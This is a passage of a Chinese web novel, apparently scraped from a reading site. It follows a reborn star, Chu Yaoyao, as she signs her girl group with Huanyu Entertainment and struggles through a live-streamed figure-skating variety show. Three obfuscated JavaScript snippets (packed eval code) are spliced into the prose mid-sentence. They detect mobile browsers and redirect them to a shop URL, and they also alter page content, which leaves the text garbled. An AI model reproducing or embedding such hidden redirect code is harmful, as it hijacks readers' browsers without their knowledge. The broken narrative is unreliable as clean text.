裴宴林的求婚,等他从澳大利亚回来,她准备告诉他,请他再给她一点时间,她会像以前一样,亲吻他的脸颊,撒娇讨好。 阿宴不会生气的,他从来不舍得和她置气。 他会抱着她,无奈地把头抵在她的颈窝,说:“又失败了。” 来之前她就确信,她一定可以成功,阿宴从来不会让她失望,只要是阿漾想要的。 - 寰宇娱乐公司企划部内,三个衣着朴素的女生坐在会议室里,对面坐着一个衣着打扮十分干练的女人。 楚幺幺坐在中间,一边的姜书语扯了扯她的衣袖,凑到她耳边问:“你怎么做到的?” 楚幺幺今天说要带她们去寰宇签约,她们只当她在开玩笑,没成想,这边的人没有把她们轰出去,反而把她们带到了会议室,好茶好水地接待着。 此刻,企划部的总监Amy正在翻着助手递上来的一份文件夹,里面也不知道是些什么。 楚幺幺的手弯成弧,凑到姜书语耳边,回道:“昨天他们总裁迷路,我好心送他回家了。” “真的假的?”姜书语难以置信。 “嗯。”楚幺幺坚定地点点头,眼神极尽诚恳,生怕对方不信。 满嘴跑火车这一套,她真是越发熟稔了。 然而姜书语一秒就信了,毕竟楚幺幺这么一个孤儿,无父无母无背景,除了这种天降好运,还能有什么别的原因呢,“所以说,好心是会有好报的。” 谁说不是呢。 “咳,”Amy咳了一声,脸上露出一个职业的微笑,把手中三份合同一份一份推到她们面前,说:“三位看看,要是没有问题,我们今天就把合约签了。” 三人接过合同,开始翻看。 楚幺幺拿着指头一条条地在心里默读: “甲方合同履行期限内为乙方从事演艺事业提供经纪服务……” “乙方在本合同有效期内为甲方独家提供演艺服务……” “因乙方参与非甲方演艺活动获得的收益双方按4:6的比例分配……” “合同期限十年……” …… 姜书语指着合同的第7.1条,问道:“这条,是不是有问题?” 第7.1条:合同存续期间,甲方每月为乙方账户打款3000元劳务费…… Amy看了一眼条目,脸上还是一贯的职业微笑,说:“没有问题,钱是少了点,但是贵团是个新人团,没有合作基础,只能这个价。” 姜书语咽了口口水,低头看合同不再说话了。 内娱第一的娱乐公司果然财大气粗,每个月给她们这种小透明3000块!三个人就是9000块啊! 楚幺幺终于看完了合同,指着第四款甲方义务,说:“这里,再加上一条,‘甲方必须协助乙方演艺事业上的发展,乙方有权享受公司内部包括录音棚、混响室、舞蹈室等在内的共享资源’。” “没问题,应该的。”Amy向助手示意,助手拿着合同出去了,没一会儿又打印了三份新合同,交到她们手里。 楚幺幺又扫了一遍,终于提笔签下了名字:楚幺幺。 姜书语和沈清柠见她签了字,也赶紧签下了自己的那份,连她们自己都没有注意到,这次签署合约,她们竟然完全是看楚幺幺的眼色行事的。 三人在Amy的目送下离开了会议室。 Amy身边助理拿着三份签好的合同,问:“裴总怎么想的?签下这三个人?” “不该问的别问。”事实上,她也很想知道为什么,裴总甚至还让公司帮忙付了她们和原经纪公司的解约金。 Amy握紧了手中的文件夹,里面是对这三个人的企划评估,报告显示:投资回报率0%,项目评级D-。 4. 第一个通告 三人结伴离开会议室准备回程,其间,姜书语频频回身向后望,确定没有人在看她们后,突然猛地用力拍了下楚幺幺的肩膀,兴奋地夸赞道:“可以啊!楚幺幺!” 疼! 楚幺幺吃痛,正在把合同塞进背包里的手顿时整只都麻了。 她明明记得,姜书语的人设是甜美妹子啊,这力气,大得能打死一头牛! 楚幺幺揉着剧痛的肩膀,抬头看向姜书语,见她厚厚的平刘海下,一双大眼满是兴奋,就连齐肩短发的狗啃发尾都在诉说着喜悦,嘴巴咧到最大的弧度,正冲她露出一口皓白的牙齿。 “书语,你确定……公司给你定的路线是‘甜美’?不是‘人形暴龙’什么的?”楚幺幺发出了疑问。 姜书语这才后知后觉地意识到自己用力过猛,不好意思地拿食指轻轻戳了下楚幺幺的胳膊,一脸“娇羞”地说:“哎呀!人家……人家忘记了嘛~” 结尾还特地加上了做作的小尾音。 还没等楚幺幺切换下一个表情,姜书语已经飞快地转换了目标。 她手臂一伸,搂住了沈清柠的肩膀,拍着胸脯又说:“从今以后,你楚幺幺说什么,我们就听什么。你指东,我们绝不往西!你让抓狗,我们绝不撵鸡!一句怨言也没有!” 让她们这种小糊团抱上了业内第一的娱乐公司的大腿,楚幺幺简直是活菩萨啊! “真的?”幺幺反问。 “嗯!”姜书语一边猛烈地点头,一边还示意臂弯里的沈清柠。 沈清柠本就清瘦,被姜书语这样“囚”着显得更加小鸟依人了。她的气质淡雅,讲话永远慢慢的,脸上的表情也总是淡淡的,就连哭的时候都没什么声响,可现在,她的脸上竟也露出了会心的笑,冲着楚幺幺点点头。 “那好,”楚幺幺慢悠悠地开口,手指隔空点了点姜书语的脑袋,“第一个任务:把你这个狗啃的头发给我养长十公分。还有这厚厚的锅盖刘海……养成中分。” 姜书语浓烈的五官其实极具辨识度,眉宇间甚至带着点难得的英气,可偏偏这厚重的平刘海盖在脑门,把本就不大的脸又挡了三分之一,让那双大眼睛在整张脸上显得格外失衡。 “就这?这简单啊,给我三个月,我现在回去立马吃黑芝麻好好养着!”姜书语信誓旦旦地保证。 就在这时,一阵略显嘈杂的脚步声从前方不远处的电梯间传来,打破了走廊里三人小小的欢腾气氛。 电梯门“叮”一声滑开,率先走出来的是三四个身形高大的保镖,他们迅速分散开,形成一个小小的保护圈。被簇拥在中间的,是一个身材高挑的女人。 她戴着几乎遮住半张脸的巨大墨镜,长卷发如同海藻般披散在身后,上身是一件白色露脐短上衣,露出一截紧实白皙的腰线,下身搭配着浅蓝色的修身牛仔裤,将一双笔直修长的腿勾勒得淋漓尽致。即使隔着墨镜,那股扑面而来的明星气场也让人无法忽视。 是路雅宁。 “我不管你们用什么方法,和陆淮合作的电影,我一定要拍!”路雅宁满脸愠气,墨镜下眉头紧锁,此刻正大步流星地朝她们的方向走来,身边还跟着一个唯唯诺诺的小助理。 小助理急得额头冒汗,声音带着哭腔:“雅宁姐,真的不是我不努力……是陆淮那边,态度非常坚决,他……他不同意换人。导演组也去沟通过好几次了,可陆淮的脾气您也知道,他认定的事,九头牛也拉不回来……” “那是你该去解决的问题!”路雅宁猛地停住脚步,倏地转身,冲着可怜的小助理又是一顿输出,“程漾的顶奢代言都被撤回了,宋雨桐拿了国牌代言,曲潇潇也接了冰淇淋广告。现在,和陆淮的电影,必须是我的!听懂了吗?!” 楚幺幺站在原地,嘴角抽笑了一下。 敢情是在这儿瓜分她“死后”的遗产呢。 陆淮,这个娱乐圈有史以来最年轻的影帝,天赋卓绝,一张脸更是老天爷追着喂饭吃。可惜,脾气也是出了名的又臭又硬,像块捂不热的石头。 她当初和他合作拍戏,在片场待了一个多月,除了剧本上白纸黑字的对白,他愣是没跟她说过一句戏外的话。 直到有一回拍落水戏,她在水里足足泡了八个小时,上岸后他给她递了块毛巾,说了这一个多月来的第一句话,虽然只有一个字:“给。” 只可惜,那部电影她还没拍完,就不在了。 “可是……”小助理唯唯诺诺地开口,“合同里写的是阿漾姐,对方不同意,我们也没办法啊……” 路雅宁的怒火被瞬间点燃,她猛地摘下墨镜,眼神犀利地看着小助理,“程漾程漾!又是程漾!你什么意思?程漾可以拍,我不可以是吗?” 声音尖利刺耳,在空旷的走廊里激起回音。 “我……不是这个意思……”小助理吓得连连摆手,声音越来越轻。 两方沉默,气氛冷到了极点,本就不算宽敞的过道里,现在已经挤了七八个人。 这时,姜书语不知是哪根筋搭错了,还没等楚幺幺回过神,她已经拿着不知从哪里掏出的纸笔,默默挪到了路雅宁跟前,“那个……宁宁,可以给我签个名吗?” 路雅宁凌厉的目光从小助理的身上移开,望向姜书语,她没有说话,脸上还是显而易见的不悦。 空气仿佛冻结了。 姜书语举着纸笔的手停在半空,收回来也不是,继续举着也不是,脸上的笑容也快挂不住了。 僵持之际,刚刚在会议室同她们签合约的助理小哥跑了出来,对路雅宁说:“雅宁姐,您回来啦。” 路雅宁的视线这才从姜书语身上移开,睨了助理小哥一眼,下巴朝姜书语的方向抬了抬,语气冷淡:“她是谁?” 助理小哥赶忙解释:“刚签的新人,这三位都是。”他指了指姜书语,又示意了一下后面的楚幺幺和沈清柠。 路雅宁这才注意到后面还有两个人,微微抬着下巴,视线在三个人身上一一扫过,扫过楚幺幺时更是嫌弃,她的眼神一撇,说:“寰宇的眼光,真是越来越差了。” 说完,她再不看她们一眼,将墨镜重新架回鼻梁上,踩着高跟鞋走了。 楚幺幺握紧了背包的肩带,路雅宁走过来时,她默默地往墙边靠了靠,让出道来。 她闻到她头发上玫瑰精油的味道,真是……怀念又恶心。 “宁宁怎么这样啊……”直到路雅宁一行人的身影消失在走廊拐角,姜书语才像是泄了气的皮球,肩膀垮了下来,语气很是失望。 她是程漾的铁粉,也是Fire女团的团粉。平常总是亲切待人,站在程漾身后乖巧得像只猫的路雅宁,私底下竟然是这个样子的。 助理小哥见状,赶紧上前打圆场,“雅宁姐今天心情不好,你们不要在意。” 他顿了顿,像是突然想到了什么,问道:“你们,谁是楚幺幺?” 楚幺幺收回望向走廊深处的视线,应道:“我是。” 助理小哥笑眯眯地将手中的一纸合同递到她手中,说:“你运气真好,这是你的第一份通告。” 这么突然? 姜书语闻言,一下子蹿到了楚幺幺的身边,双手搂住了她的肩膀,眼中满是期待和兴奋,“幺幺!” 她们团有第一个通告了! 楚幺幺接过那份薄薄的合同,翻了两页,这是香蕉视频开设的一档明星竞技类综艺《偶像冬奥会》,合同是关于节目的第一个单元——“冰上精灵”,即单人花滑。 助理小哥在旁边补充道:“番茄娱乐那边刚发来的合同,他们想推自家的新人,希望我们出一个人参赛。比赛不用很认真,你只用本色出演就可以了。” 这话说白了,就是番茄娱乐希望寰宇出个人去衬托他们的新人,可寰宇哪来的艺人能去接这档子活啊,思来想去,也只有楚幺幺最适合了。 毕竟,他们刚刚给楚幺幺做过背景调查,这个工作简直是为楚幺幺量身定做的。 助理小哥见楚幺幺没说话,赶紧又补了一句,“综艺佣金有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203447|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五万块!要不,咱们坐下来慢慢看?” “不用了。”楚幺幺从姜书语的手里拿过了刚刚那支签名笔,在合同尾页爽快地签下了名字。 五万块,对于现在的她来说,很多了。 …… 几小时后,楚幺幺半躺在床上,翻看着桔梗少女的团队微博,最顶上的那条已经被骂了五十万条评论,她随手点过消息提示,一条都没有细看。 倒不是因为她承受不了,出道五年,该经历的她都经历过,这点事情,不过小场面。 只是……这样下去,也不是办法。她要做的事情还有很多,不能每次都拉着整个队陪她沉亡。更何况,没有哪个成功的女团是只有一个团队微博的。 她想着,在经常访问里点开了自己原来的微博:@程漾_Sherry 她的头像已经被工作室换成了黑色,最新一条更新里写着:安息吧,我最骄傲的玫瑰花。[蜡烛] 下面,是超过五百万条的评论。一只只蜡烛整齐排列,铺满了整个屏幕,全是悼念与不舍。 向下又划了几页,忽然,一条被顶到前排的评论吸引了她的注意,一个熟悉的ID——@Goodnight_程漾。 那是她一个以出图速度快、质量高闻名的站姐,粉丝都叫她小奈。 几乎每次下飞机,无论多早多晚,无论人潮多么拥挤,只要她抬头,总能在机场二层的某个角落,看到那个举着黑色长焦镜头的安静身影。她陪着她,从无人问津的小透明,一步步走到人声鼎沸的巅峰,整整五年,团里的老粉,没有人不知道“晚安站”小奈。 评论的内容很简单:“漾漾,我结婚了,多希望你能看到……[心][婚纱照]” 楚幺幺点开了那张配图,照片上的女孩穿着洁白的婚纱,摘掉了标志性的黑框眼镜,对着镜头笑得甜美又幸福。 一股强烈的酸涩感冲上楚幺幺的鼻尖,她下意识地想评论一句“好美”,可当输入框跳出来的时候,她的手指却停住了。 她已经不是程漾了。 这是桔梗少女的微博,她甚至不能在这里点赞。 楚幺幺眸色一沉,眼中逐渐黯淡。她迅速退出了页面,手指在屏幕上操作了一翻,注册了一个新的账号:@桔梗少女-楚幺幺,随即发送了第一条仅自己可见的微博:总有一天,我会回来的。 总有一天…… “幺幺!”姜书语从门口蹿了进来,两三步就蹦跶到了楚幺幺的床上,震得床垫都晃了晃。 楚幺幺被她吓了一跳,赶忙按灭了手机屏幕,“干嘛?” 姜书语趴在床上,手肘撑着身体:“你那个综艺,都是些谁参加,你知道了吗?” 楚幺幺点了点头。助理小哥效率很高,已经把同场嘉宾的基本资料发给她了。 分别是香蕉视频总裁的独生女陈渺;霸屏多年的荧屏女神江舒然;还有番茄娱乐的新晋花旦池小冰。 个个都是关系户,楚幺幺往她们中间一站,发觉自己才比较像那个关系户。 “喏!”姜书语把手机屏幕递到楚幺幺面前,说,“快挑一个。” 屏幕里是某宝护臀垫的页面,形状倒是颇为可爱,小乌龟、北极熊、皮卡丘……当真是应有尽有。 楚幺幺略显尴尬,面露为难,“不要了吧……这很蠢诶。” 好歹她也曾是巨星,而且还是个,非常要面子的巨星。 “蠢点怎么了!你会滑吗你?” 楚幺幺摇了摇头。 “这不就结了!就你那点运动细胞,能不能活着走出节目都成问题。”姜书语推了推她,催促道,“快点挑!” 楚幺幺迫于无奈,随手指了那只小乌龟,“这个吧。” 姜书语:“这个?这个不好吧?” ? “这有什么不好的?” “不吉利。” ?? 还没等楚幺幺问为什么,便听到姜书语说:“因为是绿色的。” …… 5. 偶像冬奥会 几日后,楚幺幺站在了《偶像冬奥会》的录制现场。 她穿着一身黑色的滑冰服,脚上踏着一双素色的滑冰鞋,双手紧紧扒着墙边站着,双膝内扣,整个人紧绷又拘谨;膝盖和手肘处缠着白色的关节胶布,屁股后面还挂着小乌龟护臀垫。 她得说,她真的是被迫戴上这个蠢东西的。 这节目是直播,楚幺幺已经可以想见自己的脑袋上此刻正飘过一行行弹幕,喊着“乌龟妹”、“小蠢货”…… 然而,弹幕显然比她以为的还要刻薄。 【卧槽!真的是楚幺幺?!她怎么阴魂不散!】 【救命!节目组疯了吗?请她来干嘛?拉低档次?】 【楚幺幺滚出娱乐圈!】 【屁股上的小乌龟认真的吗?这蠢货是要笑死我?】 【我看到她都嫌累,扒了她两天料,尽是些鱼刺卡住喉咙送医院,浴室跌倒送急诊,以为是糖吃肥皂,把芥末当牙膏,这是人设吧?】 【???活这么大真是我佛慈悲!】 【她咋还没封杀?别挡着我看其他漂亮妹妹行不行?!】 …… 这时,其他几名参赛选手也陆续登场了。 陈渺穿着白色的运动外套扶着墙走来,她个儿不高,模样生得娇俏,在楚幺幺身侧停下后笑着同她打了声招呼,“你好呀!” “你好。” 【这是谁?新人?】 【有点眼熟,前几天香蕉视频开屏广告是不是她?】 【对对对!那个酸奶广告!笑起来挺甜的!】 【是噢,难怪这么眼熟。】 …… 陈渺是香蕉视频总裁的独生女,这事儿圈外人不知道,圈内人却是无人不晓。 她和楚幺幺年纪相仿,出道不过三个月,顶着强硬的后台,为人却十分低调,至今只拍了几个小广告。 紧接着是江舒然,她的身材高挑纤瘦,皓白胜雪的肌肤在冰场的灯光下仿佛自带柔光,纤长的脖颈如天鹅般优雅,脚下冰刀轻点,几个流畅的滑步便轻盈地来到了她们身边,美丽高贵的脸庞微微转向她们,朝她们打量了一眼,并没有说话。 气质极冷。 如果说沈清柠是清冷,那她这种,简直就是拖着冰山在行进。 【啊啊啊啊啊!舒然女神!!!美哭了!!!】 【这气质绝了!不愧是我童年女神!退圈三年风采依旧!】 【荧屏女神居然复出了?!还是参加竞技综艺?爷青回!】 【当年巅峰期为了渣男退圈,太可惜了!这颜值演技放现在也是TOP!】 【姐姐什么时候再出来演戏啊?好怀念被她颜值霸屏的日子!】 …… 沉默间,池小冰已经朝她们滑来,纤细嫩白的胳膊轻轻摆动,急速滑了几步,在距离她们三人几步远的地方,一个漂亮的转身,用冰刀后跟利落地刹停,激起一小片冰屑,“大家好!” 池小冰的视线在她们身上过了一遍,最终定格在江舒然身上,说:“舒然姐,好高兴在这里见到你,我小时候是看着你的戏长大的!” 江舒然的目光在她脸上停留了一瞬,“嗯。” 语气仍是淡淡的。 池小冰,几个月前因为一部小成本校园甜宠剧爆火,成为番茄娱乐力捧的新晋小花,现在势头正猛。 【“看着你的戏长大”,扎心了……】 【江舒然火的时候,她还不知道在哪儿呢!】 【江舒然是童星出生,说看着戏长大不正常吗?是捅了谁的心窝子?】 【池小冰真甜!妹妹没有恶意,大家别吵啦!】 【有些人的粉丝脾气是真大,江舒然红过是事实,过气也是事实吧?】 【谁过气了?!退圈三年,暑期档还是她三年前演的戏,这叫过气?】 【有些人的粉丝,主子刚火了没两个月,尾巴都翘到天上去了!】 火药味开始在弹幕弥漫。 “各位姐姐怎么称呼?”池小冰转向陈渺和楚幺幺,笑容依旧甜美。 按理说,节目嘉宾的背景都是事前发给大家看过的。 楚幺幺无意在这种细节上纠缠,平静地回答:“楚幺幺。” “陈渺。” 正说着话,冰场后台通道的门打开了,一个穿着深黑色专业训练服的身影滑了出来,步子悠然,行云流水。 池小冰远远地看见了,默默滑了两步,归队站在江舒然的左侧。 秦佳在她们正前方停下了,自我介绍道:“大家好,我是秦佳,是这次《偶像冬奥会》花滑篇的总教练。” 众人都鼓起掌来。 陈渺率先开口,发出了感叹:“哇~秦老师就不用介绍了,您的大名谁不知道啊!” 秦老师微微一笑,眼角跑出几道深刻的皱纹。 这位昔日的“冰上女王”退役已有五年,现在已年近四十。在退役前的十年里,她包揽了中国女子单人滑所有奖项的冠军,开启了中国花滑史上的“秦佳时代”,至今仍保持着亚洲冬奥会女子单人滑五冠王的记录。当年万人空巷看她比赛,盛况直逼“国乒”。 【这个陈渺,多少有点社交nb症在身上!】 【哈哈哈还挺可爱的,长得也很可爱!】 【这才真的是看着秦佳的比赛长大的好吗?】 【我那时候六岁,我妈看秦佳比赛,我换台还被打了一顿!】 【唉,现在花滑国家队青黄不接,真是唏嘘……】 陈渺继续自我介绍,语气真诚:“我叫陈渺,没有基础,接下来的训练请老师多担待!” 说完,她深深鞠了个躬。 陈渺起了头,按照站位顺序,就该楚幺幺了。 楚幺幺一想到屁股上还挂着护臀垫,站在世界冠军的面前,油然而生一股浓浓的羞耻感,“秦老师好,我叫楚幺幺,也是……零基础。” 江舒然的声音清冷依旧:“老师好,江舒然。只会一些简单的滑步。” 轮到池小冰,她再次扬起标志性的甜美笑容,“秦老师好,我是池小冰!之前因为个人爱好学过一个月花滑,刚学到前压步。” 秦佳眉毛抬了抬,点着头说:“那你很厉害啊,已经会压步了,现在像你这么有上进心、肯学习的小姑娘不多见了。” 秦佳投去了赞许的目光。 【啊啊啊冰宝被秦老师表扬了!好棒!】 【小冰上进又努力,那些黑她的人是不是没有心。】 【就是,你行你上啊!人家会抽时间培养爱好,可你只会敲键盘!】 “好了,正式训练前,我们先玩一个小游戏,热热身。”秦佳指了指身后冰场被临时划分出的区域,“看到那四条跑道了吗?跑道两端各放着一个竹筐。你们的任务,就是把起点筐里的100个乒乓球,一个个运送到对面终点的空筐里。用时最少的获胜。” 她顿了顿,目光扫过楚幺幺和陈渺,“个别学员没有基础,不用着急,慢慢来,安全第一。这个游戏主要是让大家感受冰面,找找平衡。” “在此之前,还要做一件事。”秦佳说着,从口袋里掏出了一张小卡片,一本正经地念起了口播,“本次《偶像奥运会》由‘精彩世界,尽在掌握’的香蕉视频独家赞助播出……” 大家的视线不约而同投向了陈渺,但都没有说话,气氛带着点心照不宣的微妙。 “同时,特别感谢寰宇娱乐友情为本次节目提供训练场地。” 这次的训练场地是寰宇娱乐名下的冰场,面积足足有1500平米,设施顶级。这是裴宴林的私人场地,仅仅为他的个人爱好设 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203448|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置,幺幺记得,冰场后面还连着一片小型滑雪场。 四人被工作人员扶着到了跑道的近端,竹筐里果然堆满了黄色的乒乓球,跑道中间用泡沫板隔开。 楚幺幺在第三道,工作人员一放开她,她便扶住了泡沫板,可这泡沫轻飘飘的,扶着也是毫无作用。 秦佳在场边安全区域,左手高高举起,随着一声令下,手中的计时器同时按下,“开始!” 第一跑道的池小冰反应最快,已经拿起第一个乒乓球快速滑了出去。第二道的江舒然紧随其后,姿态优雅从容,速度也丝毫不慢。眨眼间,两人就拉开了与后面两位的距离。 陈渺站在第四道的中间,乒乓球握在手心,一步步慢慢往前走。 此时的楚幺幺,扶着泡沫板一点点地往前挪,结果却是两步一小摔,三步一大摔,很快,就连同样零基础的陈渺都甩了她一大截。 【这个楚幺幺真的是龟速前进啊!】 【一看她平常就不运动,怎么有胆子来参加这种节目?】 【对比之下,陈渺的零基础真是谦虚了。】 楚幺幺脚下又是一滑,“哐当”一声,身体重重向前扑去,手掌擦过冰面,红了一片,她不由皱了眉。 这个身体,好不习惯。 楚幺幺的身体肌肉量太少,平衡感也很差,每次她找到自己的平衡点时,却发现身体根本跟不上来,就好像二十多岁的脑子想去控制三岁的身体,可三岁的身体根本听不懂。 她爬起来,跪在冰面上,看着场上的局势。 池小冰和江舒然已经不知滑了几个来回,就连陈渺都开始返程了。 这样下去真的不行! 楚幺幺咬着牙,双手撑在冰冷的冰面上,试图再次站起来,可手刚一离开冰面提供支撑,身体立刻失去平衡,“哐当”一声,又重重地跪了回去,膝盖磕得生疼。 不远处,一直观察着她们的秦佳教练皱了皱眉,扬声喊道:“楚幺幺,别用手撑地。单膝跪稳,一只手撑在跪着那条腿的膝盖上,用力顶起来!” 楚幺幺像抓住了救命稻草,立刻照做。 双手在膝盖上用力一顶,起身时快速收腿,身子在空中晃了晃,终于保持住了平衡。 站起来了。 楚幺幺学着陈渺的样子,尝试在跑道中间一点点地挪,速度很慢,但运气好的时候,能滑得稍微远一点点。 她试着加了点力道,蹬了一步,滑冰鞋带着她往前滑去,速度越来越快,路线逐渐右偏,还没等她反应过来,她已经“义无反顾”地冲破了道中的泡沫板,直直地朝着正在返程的陈渺撞去,“啊!” 两人应声跌倒在地,躺在冰面上疼得嗷嗷叫。 陈渺艰难地坐起身,吃痛地摸着自己的左半边屁股,在楚幺幺抱歉的眼神中,说:“幺幺,我还没买保险。” 照楚幺幺这菜鸡程度,三个陈渺都不够她废的! 艰难度过了开局的小游戏,可后续的体能测试却更加灾难。 楚幺幺仰卧起坐做不起来,平板支撑又撑不住,力量训练更是拉垮,高位绳索下拉才做到第20个已经累得浑身颤抖,使不上力气。 最后累趴在瑜伽垫上,气喘吁吁。 过了好半天,楚幺幺才像一条离水的鱼,艰难地翻了个身,挣扎着站起来。她看向旁边同样瘫在垫子上,一脸生无可恋的陈渺,向陈渺伸出了手。 陈渺抓住了她的手,被她从垫子上带起来,江舒然和池小冰已经开始下一组的训练,留下她们两个废柴在这里心心相惜。 陈渺抹了把脸上的汗,劫后余生般地舒了口气,由衷地感叹:“真好,有你在。” 楚幺幺刚要感动,就听到陈渺又说:“不然,我就是倒数第一了!” …… 金主爸爸的女儿,能打吗? 6. 你觉得呢? 晚上,楚幺幺躺在床上,感觉身体被掏空,七个小时的高强度训练,半条命都没了。 一旁,姜书语和沈清柠拿着热毛巾帮她敷着小腿的肌肉。虽然先前做了防护措施,可现在,她身上还是青一块紫一块,尤其是膝盖,已经青成了一片。 沈清柠放下手里的毛巾,说:“我去拿白花油,帮你揉开。” 说着,她跑出去拿了白花油来,倒出一些在手心搓了搓,然后在楚幺幺的淤青处用力揉搓起来。 “痛痛痛……”楚幺幺叫苦不迭。 沈清柠按住了她,“你忍一下,待会儿你还要把肌肉拉开,不然明天更痛。” 揉着揉着,竟也习惯了这种痛感,甚至还有点爽。 姜书语看楚幺幺这副累趴下的模样,说:“早说你要多锻炼,平常就知道吃,寰宇还偏偏挑了你去参加。” 楚幺幺:“你以为是让我去表现的?你听上回助理小哥说的,是寰宇要还番茄娱乐的人情,让我去衬托他们家小花旦。” 姜书语仔细回忆,还真像那么回事,“这不是欺负人嘛!” 楚幺幺闭着眼养神,说:“不能这么想,有机会露脸是好的。” 说完,她又想起了什么,睁开眼问她们:“你们今天都做了些什么?” “我们?”姜书语和沈清柠对望了一眼。 沈清柠:“今天什么也没做。” 她们没有通告,在家待了一整天。 “没有去练习吗?”楚幺幺看她们俩都没有说话,就又说,“明天开始,你们去寰宇训练,上回合同里写了,公司的舞蹈室、录音棚都是公共资源,我们可以用的。” 姜书语有些犹豫,说:“别人训练都有人带,我们没有……” 楚幺幺沉默了,桔梗少女刚签约寰宇,说白了,这个约还是她和裴宴林求来的,寰宇江阔水深,旗下比她们重要的艺人比比皆是。 楚幺幺深吸了一口气,说:“这个我们以后再想办法,我去找一些练习视频,你们先跟着练。你不能等机会来了,才告诉它你没准备好。” 姜书语听得人傻了,没想到楚幺幺撞了个脑袋,把智商都撞高了! “幺幺,你竟然能说出这种话!”姜书语赞许地用力打了一下楚幺幺的屁股,发出“啪”的一声响。 “痛痛痛……”楚幺幺表情扭曲,今天的训练让她浑身上下,包括屁股都肌肉酸痛,“姜书语!会死人的!” …… 第二日。 楚幺幺打发两位队友去训练,自己便去了十七楼的健身房。 《偶像冬奥会》一周三训,剩下的时间让各位学员自行休息和练习。 寰宇的健身房内,只有零零散散的几个人在运动,大家各自为政,距离都隔得比较远。 楚幺幺打开跑步机,在机子上慢慢地走,速度逐渐加快,不多时就开始发汗了。 她一口气跑了一小时,喘着气按了停止键,一边用毛巾擦去额头的汗,一边下了机子站在一旁喝水。 视线在健身房里飘了一圈,这时,不远处的一个人影吸引了她的注意。 裴宴林穿着一身黑色的运动服正在跑步,他的双臂前后摆动,扯动衣服时隐隐现出胸肌的轮廓,露出的小腿上肌肉线条结实却不夸张,典型的穿衣显瘦、脱衣有肉的身材,额头上都是汗,就连头发都沾着汗珠,跑动时,因为震动洒下来。 楚幺幺收回了视线,发觉自己刚刚好像一个女色狼。 她缓步走到裴宴林的跑步机边,双手搭在跑步机一侧的扶手上,“裴总。” 裴宴林朝她看了一眼,“嗯。” 也不知有没有认出她。 裴宴林向来不喜欢花费记性在不相干的人身上,公司下面的分公司经理,他甚至都没她认得全,以前,每回都是她陪他出席晚宴,然后在一旁提醒他。 他的大脑好像有一种机制,会自动进行分类,重要的事情放在一个抽屉永久保存,不重要的信息就丢进垃圾桶当场删除。 “还没谢谢你,让我们签约。”楚幺幺试探性地说。 “不用。” 楚幺幺继续道:“裴总,听说你会滑冰,小时候还拿过全国花样滑冰锦标赛少年组的冠军。” 裴宴林停下了步子,擦去额头的汗,目光灼灼地看着楚幺幺,“阿漾告诉你的?” 他练过花滑这件事,没几个人知道,为此他还专门去加拿大练过几年,但他十三岁就回了国,并没有再滑下去。 阿漾还总是拿他得过锦标赛冠军的事打趣,甚至说今年的生日愿望是看他的花滑表演,他嘴上羞耻地拒绝了,可暗地里还是偷偷请人做了编舞,背着她悄悄地练习。 只可惜…… “嗯!”楚幺幺点点头,“我最近在参加一档花滑综艺,能不能请裴总指点一二?” 裴宴林看着她没有说话,像是在思索她这行为背后的目的。 楚幺幺读不出他这个眼神,阿宴以前从来不会用这种提防的眼神看她,他总是很温柔地望着她,面对她无理的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203449|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要求,总是又好气又无奈地笑着点头。 这时,裴宴林手腕上的运动手表计时器响了,他关掉了闹铃,对楚幺幺说了一句:“最近没空。” 说完,便拿起跑步机上的水壶,转身往盥洗室的方向走去。 楚幺幺站在原地目送他走远,深深叹了口气:果然,除了阿漾,他对谁都没有兴趣。 不好办啊…… 楚幺幺回到了原来的位置,重新开始锻炼,她已经做好了打算,以后的休息日都埋头在健身房加紧训练。 花滑本就是一项对体能、肌肉力量和柔韧性要求都很高的运动,除此之外,冰上滑行的美感在于飘逸,对表演者体重的要求也很苛刻。 楚幺幺的身高足足有一米七一,重心偏高,本就吃亏,再加上她昨天刚上了称,整130斤…… 昨晚,她已经调整了自己的饮食结构,好在以前私教教的锻炼要点她都还记得,快的话,一个月也能瘦得七七八八了,其他的,只能走一步看一步了。 …… 两日后,楚幺幺再次踏上了《偶像冬奥会》的训练场。 站着等秦老师来的空儿,陈渺悄悄问楚幺幺:“你回去有练习吗?” “练了,”楚幺幺据实回答,“你呢?” 陈渺冲她一笑,摇了摇头,“我都累死了。” 回家后,她老爹赶紧炖了锅鸡汤给她补身子,他的宝贝女儿哪吃过这种苦啊! 说话间,秦老师带着四个人,穿着统一的白底红袖运动服,从冰场另一头齐刷刷地滑来。 